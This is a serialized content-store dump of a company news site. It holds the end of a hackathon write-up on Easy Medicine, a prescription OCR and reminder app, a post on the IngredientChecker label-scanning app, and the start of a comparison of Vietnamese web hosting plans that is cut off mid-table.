Pricing):",[31,9152,9153,9156],{},[34,9154,9155],{},"Every 100 characters = 1 unit. There are different tiers, but EasyMedicine will stay below 10 million units.",[34,9157,9158],{},"At 10 million units tier, the fee per unit is $0.0001USD. For example, if you need to process 10,000 prescriptions per month, and each prescription will have an average of 500 characters, the fee will be 10000*5*0.0001  = 5 USD.",[11,9160,9161,9162],{},"This is a pretty optimal price.\n",[55,9163],{"id":9164},"section-5",[565,9166,9168],{"id":9167},"_5-apps-system-design","#5. App's system design",[11,9170,9171],{},"Below is the system design diagram of Easy Medicine:",[438,9173],{"className":9174,"alt":66,"src":9175,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07112836\u002Fhac.drawio.png",[11,9177,9178],{},"To better understand the above diagram, let's see the application flow: First, when the user inputs a picture of a prescription taken\u002Fuploaded, this image will be sent to the server. The server will now call the Google Vision API by sending the base64 encode of the uploaded image. Google will process and return the entire text content extracted from the image. For instance, this prescription:",[438,9180],{"className":9181,"alt":66,"src":9182,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07134621\u002FScreenshot-2023-03-02-103445.png",[11,9184,9185],{},"The server then uses the scanned text to call the AWS Comprehend Medical API to request medical data extraction. Here is part of the returned result:",[605,9187,9190],{"className":9188,"code":9189,"language":610},[608],"{\n\n    \"Entities\": \\[\n\n        {\n\n            \"Id\": 1,\n\n            \"BeginOffset\": 0,\n\n            \"EndOffset\": 27,\n\n            \"Score\": 0.982366681098938,\n\n            \"Text\": \"Erythromycin ethylsuccinate\",                     \u002F\u002F Medication name\n\n            \"Category\": \"MEDICATION\",\n\n            \"Type\": \"GENERIC\\_NAME\",\n\n            \"Traits\": \\[\\],\n\n            \"Attributes\": \\[\n\n                {\n\n                    \"Type\": \"STRENGTH\",\n\n                    \"Score\": 0.8039610385894775,\n\n                    \"RelationshipScore\": 0.9956788420677185,\n\n                    \"RelationshipType\": \"STRENGTH\",\n\n                    \"Id\": 2,\n\n                    \"BeginOffset\": 28,\n\n                    \"EndOffset\": 37,\n\n                    \"Text\": \"400mg\u002F5ml\",                                        \u002F\u002F Dosage\n\n                    \"Category\": \"MEDICATION\",\n\n                    \"Traits\": \\[\\]\n\n                },\n\n                {\n\n                    \"Type\": \"FREQUENCY\",\n\n                    \"Score\": 0.2624519169330597,\n\n                    \"RelationshipScore\": 0.999884843826294,\n\n                    \"RelationshipType\": \"FREQUENCY\",\n\n                    \"Id\": 3,\n\n                    \"BeginOffset\": 46,\n\n                    \"EndOffset\": 55,\n\n                    \"Text\": \"tsp.q.i.d\",                                           \u002F\u002F Frequency\n\n                    \"Category\": \"MEDICATION\",\n\n                    \"Traits\": \\[\\]\n\n                }\n\n            \\]\n\n        }\n\n    \\]\n\n}\n",[612,9191,9189],{"__ignoreMap":66},[11,9193,9194],{},"Comparing the JSON result to the original input image. We can see how the AI uses the predefined structures for the information extracted from the prescription. With this JSON data, the application then re-process it to generate the medicines list. Specifically, we will focus on handling the following attributes:",[31,9196,9197,9204,9211],{},[34,9198,9199,9200,9203],{},"Type is ",[612,9201,9202],{},"BRAND_NAME or``GENERIC_NAME",":  this is the medicine name.",[34,9205,9206,9207,9210],{},"Type is  ",[612,9208,9209],{},"DOSAGE or STRENGTH",": this is the medicine dosage.",[34,9212,9199,9213,9216],{},[612,9214,9215],{},"FREQUENCY",": this data is crucial for creating a schedule to take medicine.",[11,9218,9219],{},"From the extracted information, we need to process that information to create a list of medicine and a schedule:",[11,9221,9222,9225],{},[20,9223,9224],{},"Medicine name",": It's easiest to obtain because it is not abstract data. As long as the data exists in the AWS database there wouldn't be any problem.",[11,9227,9228,9231],{},[20,9229,9230],{},"Dosage:"," Because there will be more than one DOSAGE attributes returned. We need to distinguish what is the actual dose of the drug, and what is the amount to take at a time.",[31,9233,9234,9249],{},[34,9235,9236,9239,9240,9245,9246],{},[612,9237,9238],{},"The medicine dosage"," will usually come in units of mass\u002Fvolume of the drug. Such as 100mg or 400ml. Using the following Regex (",[55,9241,9244],{"href":9242,"rel":9243},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FJavaScript\u002FGuide\u002FRegular_Expressions",[59],"Regular Expression","), we can easily extract the drug dosage: ",[612,9247,9248],{},"\u002F([0-9]+)( ?)(mg|ml)\u002F",[34,9250,9251,9254],{},[612,9252,9253],{},"The amount to take at a time"," can be in the form of a mass (50mg) or it can also be in the form of words (1 tablet, one vial, ...). The method to extract this data will also be the same as above.",[11,9256,9257],{},[20,9258,9259],{},"Medication schedule:",[31,9261,9262,9276],{},[34,9263,9264,9267,9272,9273],{},[612,9265,9266],{},"Time to take medicine in the form of",[55,9268,9271],{"href":9269,"rel":9270},"https:\u002F\u002Fpharmacytechniciantoday.com\u002Fpharmacy-abbreviations-sig-codes\u002F",[59],"pharmacy abbreviations code",": for example, a presence of q.i.d on the prescription is equivalent to Four times a day. This means that the application will schedule alarms to take medicine 4 times a day. ",[612,9274,9275],{},"In the morning (7:00 AM), lunch (13:00 PM), afternoon (18:00 PM), evening (21:00 PM).",[34,9277,9278,9281,9282],{},[612,9279,9280],{},"Time to take medicine in the form of timeline:"," The application needs to schedule a medication appointment to match the time described. This form will have a diversely of cases. For example Before breakfast (every morning at 7:00 AM) or Twice a day (morning - 7:00 AM, noon 13:00 PM). To be able to convert from timeline to a specific schedule. We can use Regex, such as: ",[612,9283,9284],{},"\u002F(every|each|after|before) (breakfast|lunch|dinner|meal)\u002F",[11,9286,9287,9288,9291],{},"The final step is to schedule a time to take the medication. Based on the created list, the system will send push notification to the user's phone. ",[51,9289,9290],{},"This allows them to take their medicine on time and with the correct amount.",[55,9292],{"id":9293},"section-6",[565,9295,9297],{"id":9296},"_6-demo-easy-medicine","#6. Demo Easy Medicine",[11,9299,9300],{},[55,9301,9302],{"href":9302,"rel":9303},"https:\u002F\u002Fyoutu.be\u002F5f4G10TW9Ko",[59],[11,9305,9306],{},[20,9307,9308],{},"Home Screen:",[31,9310,9311,9314,9317],{},[34,9312,9313],{},"The main feature of this screen is to control your medication schedule.",[34,9315,9316],{},"It's list the medicines that are grouped by timeline to instruct the user to take them on time and with the right dosage.",[34,9318,9319,9320,9323,9324,9327],{},"When the status of the drug turns ",[612,9321,9322],{},"gray"," with and has an ⚠️ icon, it means that the user has forgot to take the medicine. To confirm that you have taken that medicine on time, the user needs to click on it (or click Check all), then the status will turn ",[612,9325,9326],{},"green"," with a ✅ icon.",[11,9329,9330],{},[20,9331,9332],{},"Medications Screen:",[31,9334,9335,9338,9345,9348],{},[34,9336,9337],{},"The main feature of this screen is to control the medicines list and medicines information.",[34,9339,9340,9341,9344],{},"User can manually enter the drug to be taken by entering the fields in the ",[20,9342,9343],{},"Manual"," section.",[34,9346,9347],{},"Or user can take a picture of a prescription, and the system will automatically add a list of medicines to take with a schedule based on the information found on the prescription.",[34,9349,9350,9351],{},"If the list created from the photo is incorrect, the user can manually edit or delete it.\n",[55,9352],{"id":9353},"section-7",[565,9355,9357],{"id":9356},"_7-future-features-and-functions","#7. Future features and functions",[31,9359,9360,9363,9366,9369,9372],{},[34,9361,9362],{},"Support more languages: When taking a picture of a prescription, the application automatically processes the information. But currently, this feature only works when the prescription is in English. With other languages such as Vietnamese, Japanese, the application cannot handle it yet.",[34,9364,9365],{},"Save prescriptions for reuse: To make it easier to manage, we need to group medicines under a specific prescription. Also, in the future we may get same disease again, it would be much easier if we already have a prescription.",[34,9367,9368],{},"Online order medicine directly on the App: combined with the created prescription, users might no longer need to go to the pharmacy to buy medicine. Just order medicine through the app. The benefit of this is not only convenience, because if we can guarantee the origin and quality of the drug, as well as the price, then users will always feel secure when taking the medicine ordered through our application.",[34,9370,9371],{},"Extract the total amount\u002Ftotal number of days to take a certain drug: Most prescriptions have this information, such as 10 pills in total. Or the total number of days is 7 days.",[34,9373,9374,9375],{},"Custom time setting feature: For each person, the time to take medicine is very diverse. So we can let users set their own time according to their habits.\n",[55,9376],{"id":9377},"section-8",[565,9379,9381],{"id":9380},"_8-app-limitations","#8. App limitations",[11,9383,9384],{},"Most of the limitations of the application lies in the ability to automatically generate data from the user's photos. Specifically, it is lacking in points such as:",[31,9386,9387,9390,9393],{},[34,9388,9389],{},"Only English-language prescriptions can be processed.",[34,9391,9392],{},"AWS Comprehend Medical could also missing some information on the prescription if their database doesn't have the related data. For instance, it's a new medicine brand\u002Fproduct so the data is not exist.",[34,9394,9395,9396],{},"It is not possible to understand all cases of schedule information. Because the time schedule for taking the medication is inferred by the application from the information in the prescription. There will be cases where it has not been programmed to handle.\n",[55,9397],{"id":9398},"section-9",[565,9400,9402],{"id":9401},"_9-summary","#9. Summary",[11,9404,9405,9406],{},"Easy Medicine is an idea that can be considered quite practical and useful. Its feature takes advantage of AI technology so it's very easy to use. Hopefully in the future, this application can actually be deployed and operate.\n",[55,9407],{"id":9408},"section-10",[565,9410,9412],{"id":9411},"_10-links-references","#10. Links & references",[31,9414,9415,9422,9429],{},[34,9416,9417],{},[55,9418,9421],{"href":9419,"rel":9420},"https:\u002F\u002Fcloud.google.com\u002Fvision\u002Fdocs\u002Focr",[59],"Detect text in images  |  Cloud Vision API  |  Google Cloud",[34,9423,9424],{},[55,9425,9428],{"href":9426,"rel":9427},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fcomprehend-medical\u002Flatest\u002Fdev\u002Ftextanalysis-entitiesv2.html",[59],"Detect entities (Version 2) - Amazon Comprehend Medical",[34,9430,9431],{},[55,9432,9435],{"href":9433,"rel":9434},"https:\u002F\u002Fdocs.google.com\u002Fpresentation\u002Fd\u002F1Peh_iNryPLe-GqyxT4PYScGQ-3HfstXM\u002Fedit#slide=id.g21397e526fe_2_0",[59],"File trình chiếu - EasyMedicine",{"title":66,"searchDepth":67,"depth":67,"links":9437},[9438,9439,9440,9441,9442,9443,9444,9445,9446,9447],{"id":9008,"depth":1306,"text":9009},{"id":9041,"depth":1306,"text":9042},{"id":9074,"depth":1306,"text":9075},{"id":9128,"depth":1306,"text":9129},{"id":9167,"depth":1306,"text":9168},{"id":9296,"depth":1306,"text":9297},{"id":9356,"depth":1306,"text":9357},{"id":9380,"depth":1306,"text":9381},{"id":9401,"depth":1306,"text":9402},{"id":9411,"depth":1306,"text":9412},[4753,1318],"2023-03-03","Nowadays, many app has been created to make our daily tasks become simpler and more efficient. One of the most competitive features among apps is automation. That is, humans will only do the minimum of operations and leave the rest to the application. Since Artificial Intelligence - AI has become more and more popular, automation is now everywhere, and at the same time, it has also opened up a lot of possibilities.",{},"\u002Fnews\u002Fhackathon-team3",{"title":8927,"description":9450},"news\u002Fhackathon-team3","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F20134143\u002F336245884_743305260576068_3192087576342334151_n-2048x694.png","RovUJMWXF5GLe3iA3NTkl0w6bp4uuzUP1MH1Ykx_PE4",{"id":9458,"title":9459,"body":9460,"category":9622,"created by":70,"date":8917,"description":9468,"extension":72,"meta":9623,"navigation":74,"path":9624,"sections":76,"seo":9625,"stem":9626,"thumbnail":9627,"__hash__":9628},"content_en\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker.md","[Hackathon] IngredientChecker Application",{"type":8,"value":9461,"toc":9613},[9462,9466,9469,9472,9474,9479,9482,9487,9490,9495,9498,9503,9506,9509,9513,9530,9534,9542,9546,9560,9564,9584,9588,9591,9595,9598,9606],[403,9463,9465],{"id":9464},"about-ingredientchecker","About IngredientChecker",[11,9467,9468],{},"In the era of the 4th Industrial Revolution, many consumers have begun using technology to improve their quality of life. Health is the top priority, and nowadays there are many different products appearing worldwide in various categories such as skincare, functional foods, drugs, etc. However, most of them contain chemical ingredients that the majority of ordinary users are not familiar with regarding their functions or side effects. IngredientChecker was created to help solve this problem.",[11,9470,9471],{},"Now let's take a closer look at the application.",[403,9473,8723],{"id":8718},[11,9475,9476],{},[20,9477,9478],{},"NodeJs",[11,9480,9481],{},"A popular platform, powerful features suitable for a cross-platform application.",[11,9483,9484],{},[20,9485,9486],{},"Google cloud vision (GCV)",[11,9488,9489],{},"The Google Cloud Vision API provides the ability to accurately recognize text and images based on pre-trained AI models by Google. It's very easy to integrate into a product for further development. We integrated GCV to identify ingredients on product labels. GCV provides fast and accurate recognition speed.",[11,9491,9492],{},[20,9493,9494],{},"OpenAI",[11,9496,9497],{},"Integrating the ChatGPT API helps improve accuracy by allowing OpenAI to identify the chemical components in text content. It also helps eliminate unnecessary text.",[11,9499,9500],{},[20,9501,9502],{},"Progressive Web App (PWA)",[11,9504,9505],{},"Progressive Web App (PWA) is integrated so that users can install the app directly from the website. It gives users the feeling of using a Native app that we install from the Google Play Store or App Store.",[11,9507,9508],{},"The advantage is that it has a short development time, and there's no need to code separate versions for the web and mobile apps.",[403,9510,9512],{"id":9511},"the-main-features-of-the-application","The main features of the application",[31,9514,9515,9518,9521,9524,9527],{},[34,9516,9517],{},"Image retrieval from camera, photo library, or other storage options such as iCloud or Google Drive",[34,9519,9520],{},"Text recognition from the \"ingredient\" information on product labels",[34,9522,9523],{},"Search and filter relevant information such as usage and side effects",[34,9525,9526],{},"Data information is only stored in device memory, no information will be stored on the server",[34,9528,9529],{},"Support EN - VI languages",[403,9531,9533],{"id":9532},"target-audience","Target audience",[31,9535,9536,9539],{},[34,9537,9538],{},"Regular users of skincare products or other products such as medicines, nutrifood , who need to pay attention to the ingredients of the product to consider whether to use it or not",[34,9540,9541],{},"People who are sensitive to chemical ingredients, need to research ingredients to avoid side effects",[403,9543,9545],{"id":9544},"benefits","Benefits",[31,9547,9548,9551,9554,9557],{},[34,9549,9550],{},"Quickly search data on each ingredient on the product label",[34,9552,9553],{},"Data is stored on the user's device, can be viewed at any time",[34,9555,9556],{},"The application supports on most devices",[34,9558,9559],{},"User-friendly interface, easy to use",[403,9561,9563],{"id":9562},"new-features-for-the-next-version","New features for the next version",[31,9565,9566,9569,9572,9575,9578,9581],{},[34,9567,9568],{},"Support multiple languages",[34,9570,9571],{},"Manage users through allowing account login",[34,9573,9574],{},"Support product search on the market with the best price",[34,9576,9577],{},"Improve search function, results with high accuracy and performance",[34,9579,9580],{},"Recognize more format types from various products",[34,9582,9583],{},"Feature to synthesize reviews about the product from many different selling websites, to see the reliability of the product",[403,9585,9587],{"id":9586},"how-to-use","How to use",[11,9589,9590],{},"3 basic steps",[438,9592],{"className":9593,"alt":66,"src":9594,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07085856\u002FStep-768x335.png",[11,9596,9597],{},"Demo and link app:",[9599,9600,4371,9602],"video",{"controls":74,"style":9601},"max-width: 50%; height: auto; display: block; margin: 0 auto;",[4713,9603],{"src":9604,"type":9605},"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F02153100\u002FDemoIngredientChecker.mp4","video\u002Fmp4",[11,9607,9608,9609],{},"Link: ",[55,9610,9612],{"href":9604,"rel":9611},[59],"https:\u002F\u002Fingredient-checker.briswell-vn.com\u002F",{"title":66,"searchDepth":67,"depth":67,"links":9614},[9615,9616,9617,9618,9619,9620,9621],{"id":9464,"depth":67,"text":9465},{"id":8718,"depth":67,"text":8723},{"id":9511,"depth":67,"text":9512},{"id":9532,"depth":67,"text":9533},{"id":9544,"depth":67,"text":9545},{"id":9562,"depth":67,"text":9563},{"id":9586,"depth":67,"text":9587},[4753,1318],{},"\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker",{"title":9459,"description":9468},"news\u002Fhackathon-ung-dung-ingredientchecker","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07084009\u002Fback-ground-768x432.jpg","KATNzVWnpwX1Oi_TXETG1g4QzLxYaYZkrhsjRgVvnS4",{"id":9630,"title":9631,"body":9632,"category":1319,"created by":70,"date":11436,"description":11437,"extension":72,"meta":11438,"navigation":74,"path":11439,"sections":76,"seo":11440,"stem":11441,"thumbnail":11442,"__hash__":11443},"content_en\u002Fnews\u002Fhosting-vietnam-2021.md","Web hosting services in Viet Nam",{"type":8,"value":9633,"toc":11401},[9634,9638,9641,9645,9649,9652,9656,9659,9663,9671,9674,9688,9691,9696,9704,9707,9719,9722,9727,9735,9738,9751,9754,9762,9770,9773,9792,9795,9800,9804,9808,9980,9983,9987,10141,10144,10148,10301,10303,10307,10530,10534,10537,10566,10569,10576,10579,10583,10587,10747,10751,10755,10866,10870,10971,10975,10979,10983,11114,11118,11245,11249,11372,11375,11381,11388,11394],[395,9635,9637],{"id":9636},"what-is-hosting","What is Hosting ?",[11,9639,9640],{},"Hosting (web hosting) is an online service that helps you publish your native web page or web application to the Internet. When you sign up for a hosting service, you hire a place on a server that holds all the files and data necessary for your website to run. A server is a physical computer running uninterruptedly so that your website can be available at all times for everyone to access. Your Web Hosting provider is responsible for keeping the server up and running, and transferring content (text, images, files) from the server to the user's browser.",[395,9642,9644],{"id":9643},"shared-hosting","Shared Hosting",[403,9646,9648],{"id":9647},"advantages","Advantages",[11,9650,9651],{},"It is not too difficult to manage this service, it does not require you to have too much knowledge involved. The price is cheap compared to many other services.",[403,9653,9655],{"id":9654},"disadvantages","Disadvantages",[11,9657,9658],{},"In the event that the server's resources are unreasonably divided, it will lead to fast website speed and slow website. If a website has a large amount of traffic, the rest of the website will be slow. Since there are many users using on a part on a server, it is vulnerable to local attack if it is not highly secure. Limited in usage capacity, its configuration is not high. The hosting service has the ability to prohibit users from installing certain types of plugins or apps on their website. The hosting service providers have the right to terminate the user's account for a variety of reasons. For example, if a website receives a large amount of traffic affecting other users, the account could be closed.",[395,9660,9662],{"id":9661},"sharing-hosting-service-supply","Sharing hosting service supply",[403,9664,9666],{"id":9665},"fpt",[55,9667,9670],{"href":9668,"rel":9669},"https:\u002F\u002Fdata.fpt.vn\u002Fen\u002Fhome.html",[59],"FPT",[565,9672,9648],{"id":9673},"advantages-1",[31,9675,9676,9679,9682,9685],{},[34,9677,9678],{},"Stable speed and less error",[34,9680,9681],{},"Good security",[34,9683,9684],{},"Fast registration process",[34,9686,9687],{},"Support 24\u002F7",[565,9689,9655],{"id":9690},"disadvantages-1",[31,9692,9693],{},[34,9694,9695],{},"High price",[403,9697,9699],{"id":9698},"viettel",[55,9700,9703],{"href":9701,"rel":9702},"http:\u002F\u002Fviettelidc.com.vn",[59],"Viettel",[565,9705,9648],{"id":9706},"advantages-2",[31,9708,9709,9712,9714,9717],{},[34,9710,9711],{},"Abundant services",[34,9713,9681],{},[34,9715,9716],{},"Reasonable price",[34,9718,9687],{},[565,9720,9655],{"id":9721},"disadvantages-2",[31,9723,9724],{},[34,9725,9726],{},"Not supporting auto-installer wordpress or Joomla.",[403,9728,9730],{"id":9729},"pa-vietnam",[55,9731,9734],{"href":9732,"rel":9733},"https:\u002F\u002Fpavietnam.com\u002Fen\u002F",[59],"PA VIETNAM",[565,9736,9648],{"id":9737},"advantages-3",[31,9739,9740,9743,9746,9749],{},[34,9741,9742],{},"Stable speed for users in Vietnam and surrounding areas",[34,9744,9745],{},"Satisfactory uptime index",[34,9747,9748],{},"Secure your website with free SSL and automatic weekly backups",[34,9750,9687],{},[565,9752,9655],{"id":9753},"disadvantages-3",[31,9755,9756,9759],{},[34,9757,9758],{},"CPanel don’t have auto-installlers",[34,9760,9761],{},"Strict refund policy",[403,9763,9765],{"id":9764},"mắt-bão",[55,9766,9769],{"href":9767,"rel":9768},"https:\u002F\u002Fwww.matbao.net\u002F?lg=EN",[59],"Mắt Bão",[565,9771,9648],{"id":9772},"advantages-4",[31,9774,9775,9783,9786,9789],{},[34,9776,9777,9778,9782],{},"Top 2 domain service in Vietnam (after PA Vietnam in 2017) ( Reference ",[55,9779,1153],{"href":9780,"rel":9781},"https:\u002F\u002Fwww.digistar.vn\u002Ftop-5-nha-dang-ky-ten-mien-viet-nam-2016\u002F",[59]," )",[34,9784,9785],{},"Datacenter is built in a completely new way in the Cong Hoa streeet",[34,9787,9788],{},"The brand is well-known and stable for a long time",[34,9790,9791],{},"There is a choice of hosting infrastructure located in Singapore",[565,9793,9655],{"id":9794},"disadvantages-4",[31,9796,9797],{},[34,9798,9799],{},"The system does not support backup data for customers, but must actively backup data or buy this backup service package if having demand.",[395,9801,9803],{"id":9802},"compare-sharing-hosting-service-plan-of-various-supply","Compare sharing hosting service plan of various supply",[565,9805,9807],{"id":9806},"hosting-basic","Hosting basic",[276,9809,9810,9831],{},[279,9811,9812],{},[282,9813,9814,9816,9821,9826],{},[285,9815],{},[285,9817,9819],{"align":9818},"center",[20,9820,9670],{},[285,9822,9823],{"align":9818},[20,9824,9825],{},"PA VN",[285,9827,9828],{"align":9818},[20,9829,9830],{},"VIETTEL",[301,9832,9833,9847,9861,9875,9887,9899,9910,9921,9932,9944,9956,9968],{},[282,9834,9835,9838,9841,9844],{},[306,9836,9837],{},"Pack",[306,9839,9840],{"align":9818},"Giga Plus",[306,9842,9843],{"align":9818},"Bán chuyên nghiệp (Semi-Professional)",[306,9845,9846],{"align":9818},"HOST PRO 3",[282,9848,9849,9852,9855,9858],{},[306,9850,9851],{},"Price (VNĐ\u002Fmonth)",[306,9853,9854],{"align":9818},"129.000",[306,9856,9857],{"align":9818},"142.000",[306,9859,9860],{"align":9818},"110.000",[282,9862,9863,9866,9869,9872],{},[306,9864,9865],{},"Storage (*)",[306,9867,9868],{"align":9818},"5 GB",[306,9870,9871],{"align":9818},"20 GB",[306,9873,9874],{"align":9818},"1.5 GB",[282,9876,9877,9880,9883,9885],{},[306,9878,9879],{},"Traffic transmission (Total bandwidth)",[306,9881,9882],{"align":9818},"Unlimited",[306,9884,9882],{"align":9818},[306,9886,9882],{"align":9818},[282,9888,9889,9892,9894,9897],{},[306,9890,9891],{},"Sub-domain",[306,9893,9882],{"align":9818},[306,9895,9896],{"align":9818},"30",[306,9898,9882],{"align":9818},[282,9900,9901,9904,9906,9908],{},[306,9902,9903],{},"Addon Domain",[306,9905,308],{"align":9818},[306,9907,319],{"align":9818},[306,9909,308],{"align":9818},[282,9911,9912,9915,9917,9919],{},[306,9913,9914],{},"FPT Account",[306,9916,9882],{"align":9818},[306,9918,9882],{"align":9818},[306,9920,9882],{"align":9818},[282,9922,9923,9926,9928,9930],{},[306,9924,9925],{},"Database: SQL\u002FMySQL",[306,9927,319],{"align":9818},[306,9929,362],{"align":9818},[306,9931,330],{"align":9818},[282,9933,9934,9937,9940,9942],{},[306,9935,9936],{},"Email Account",[306,9938,9939],{"align":9818},"15",[306,9941,9882],{"align":9818},[306,9943,351],{"align":9818},[282,9945,9946,9949,9952,9954],{},[306,9947,9948],{},"Control Panel",[306,9950,9951],{"align":9818},"●",[306,9953,9951],{"align":9818},[306,9955,9951],{"align":9818},[282,9957,9958,9961,9964,9966],{},[306,9959,9960],{},"SSL",[306,9962,9963],{"align":9818},"x",[306,9965,9951],{"align":9818},[306,9967,9963],{"align":9818},[282,9969,9970,9973,9976,9978],{},[306,9971,9972],{},"Language",[306,9974,9975],{"align":9818},"ASP\u002FASP.net\u002FPHP",[306,9977,9975],{"align":9818},[306,9979,9975],{"align":9818},[11,9981,9982],{},"(*): You can purchase more on demand with individual price list of each supplier",[565,9984,9986],{"id":9985},"hosting-premium","Hosting Premium",[276,9988,9989,10007],{},[279,9990,9991],{},[282,9992,9993,9995,9999,10003],{},[285,9994],{},[285,9996,9997],{"align":9818},[20,9998,9670],{},[285,10000,10001],{"align":9818},[20,10002,9825],{},[285,10004,10005],{"align":9818},[20,10006,9830],{},[301,10008,10009,10022,10035,10047,10057,10067,10077,10087,10098,10109,10119,10129],{},[282,10010,10011,10013,10016,10019],{},[306,10012,9837],{},[306,10014,10015],{"align":9818},"Giga Extrem",[306,10017,10018],{"align":9818},"HOST PRO 4",[306,10020,10021],{"align":9818},"HOST PRO 6",[282,10023,10024,10026,10029,10032],{},[306,10025,9851],{},[306,10027,10028],{"align":9818},"359.000",[306,10030,10031],{"align":9818},"475.000",[306,10033,10034],{"align":9818},"300.000",[282,10036,10037,10039,10042,10044],{},[306,10038,9865],{},[306,10040,10041],{"align":9818},"4 GB",[306,10043,9871],{"align":9818},[306,10045,10046],{"align":9818},"10 GB",[282,10048,10049,10051,10053,10055],{},[306,10050,9879],{},[306,10052,9882],{"align":9818},[306,10054,9882],{"align":9818},[306,10056,9882],{"align":9818},[282,10058,10059,10061,10063,10065],{},[306,10060,9891],{},[306,10062,9882],{"align":9818},[306,10064,9896],{"align":9818},[306,10066,9882],{"align":9818},[282,10068,10069,10071,10073,10075],{},[306,10070,9903],{},[306,10072,330],{"align":9818},[306,10074,330],{"align":9818},[306,10076,330],{"align":9818},[282,10078,10079,10081,10083,10085],{},[306,10080,9914],{},[306,10082,9882],{"align":9818},[306,10084,341],{"align":9818},[306,10086,9882],{"align":9818},[282,10088,10089,10091,10093,10095],{},[306,10090,9925],{},[306,10092,341],{"align":9818},[306,10094,372],{"align":9818},[306,10096,10097],{"align":9818},"8",[282,10099,10100,10102,10105,10107],{},[306,10101,9936],{},[306,10103,10104],{"align":9818},"25",[306,10106,9882],{"align":9818},[306,10108,9896],{"align":9818},[282,10110,10111,10113,10115,10117],{},[306,10112,9972],{},[306,10114,9975],{"align":9818},[306,10116,9975],{"align":9818},[306,10118,9975],{"align":9818},[282,10120,10121,10123,10125,10127],{},[306,10122,9960],{},[306,10124,9963],{"align":9818},[306,10126,9951],{"align":9818},[306,10128,9963],{"align":9818},[282,10130,10131,10134,10137,10139],{},[306,10132,10133],{},"Backup",[306,10135,10136],{"align":9818},"Weekly",[306,10138,10136],{"align":9818},[306,10140,10136],{"align":9818},[11,10142,10143],{},"(*) : You can purchase more on demand with individual price list of each supplier",[565,10145,10147],{"id":10146},"hosting-super","Hosting Super",[276,10149,10150,10168],{},[279,10151,10152],{},[282,10153,10154,10156,10160,10164],{},[285,10155],{},[285,10157,10158],{"align":9818},[20,10159,9670],{},[285,10161,10162],{"align":9818},[20,10163,9825],{},[285,10165,10166],{"align":9818},[20,10167,9830],{},[301,10169,10170,10183,10196,10208,10218,10228,10239,10249,10259,10271,10281,10291],{},[282,10171,10172,10174,10177,10180],{},[306,10173,9837],{},[306,10175,10176],{"align":9818},"Giga Super",[306,10178,10179],{"align":9818},"SUPERHOST 4",[306,10181,10182],{"align":9818},"Host12GB",[282,10184,10185,10187,10190,10193],{},[306,10186,9851],{},[306,10188,10189],{"align":9818},"489.000 (25.000VND\u002F1GB Additional)",[306,10191,10192],{"align":9818},"3.780.000 (97.000VND\u002F5GB\u002F3 months additional)",[306,10194,10195],{"align":9818},"360.000 (No information)",[282,10197,10198,10200,10202,10205],{},[306,10199,9865],{},[306,10201,9868],{"align":9818},[306,10203,10204],{"align":9818},"200 GB",[306,10206,10207],{"align":9818},"12 GB",[282,10209,10210,10212,10214,10216],{},[306,10211,9879],{},[306,10213,9882],{"align":9818},[306,10215,9882],{"align":9818},[306,10217,9882],{"align":9818},[282,10219,10220,10222,10224,10226],{},[306,10221,9891],{},[306,10223,9882],{"align":9818},[306,10225,9896],{"align":9818},[306,10227,9882],{"align":9818},[282,10229,10230,10232,10234,10237],{},[306,10231,9903],{},[306,10233,341],{"align":9818},[306,10235,10236],{"align":9818},"10",[306,10238,341],{"align":9818},[282,10240,10241,10243,10245,10247],{},[306,10242,9914],{},[306,10244,9882],{"align":9818},[306,10246,10236],{"align":9818},[306,10248,9882],{"align":9818},[282,10250,10251,10253,10255,10257],{},[306,10252,9925],{},[306,10254,351],{"align":9818},[306,10256,9896],{"align":9818},[306,10258,10097],{"align":9818},[282,10260,10261,10263,10266,10269],{},[306,10262,9936],{},[306,10264,10265],{"align":9818},"40",[306,10267,10268],{"align":9818},"1500",[306,10270,9896],{"align":9818},[282,10272,10273,10275,10277,10279],{},[306,10274,9972],{},[306,10276,9975],{"align":9818},[306,10278,9975],{"align":9818},[306,10280,9975],{"align":9818},[282,10282,10283,10285,10287,10289],{},[306,10284,9960],{},[306,10286,9963],{"align":9818},[306,10288,9951],{"align":9818},[306,10290,9963],{"align":9818},[282,10292,10293,10295,10297,10299],{},[306,10294,10133],{},[306,10296,10136],{"align":9818},[306,10298,10136],{"align":9818},[306,10300,10136],{"align":9818},[11,10302,10143],{},[395,10304,10306],{"id":10305},"compare-wordpress-hosting-service-plan-of-various-supply","Compare wordpress hosting service plan of various supply",[276,10308,10309,10328],{},[279,10310,10311],{},[282,10312,10313,10315,10320,10322,10326],{},[285,10314],{},[285,10316,10317],{"align":9818},[20,10318,10319],{},"Hosting Basic",[285,10321],{"align":9818},[285,10323,10324],{"align":9818},[20,10325,9986],{},[285,10327],{"align":9818},[301,10329,10330,10353,10369,10385,10402,10414,10428,10442,10454,10467,10480,10492,10505,10518],{},[282,10331,10332,10335,10340,10345,10349],{},[306,10333,10334],{},"Supply",[306,10336,10337],{"align":9818},[20,10338,10339],{},"PA Việt Nam",[306,10341,10342],{"align":9818},[20,10343,10344],{},"Mắt bão",[306,10346,10347],{"align":9818},[20,10348,10339],{},[306,10350,10351],{"align":9818},[20,10352,10344],{},[282,10354,10355,10357,10360,10363,10366],{},[306,10356,9837],{},[306,10358,10359],{"align":9818},"WORDPRESS PRO #3",[306,10361,10362],{"align":9818},"DOANH NGHIỆP",[306,10364,10365],{"align":9818},"WORDPRESS VIP #4",[306,10367,10368],{"align":9818},"Tối 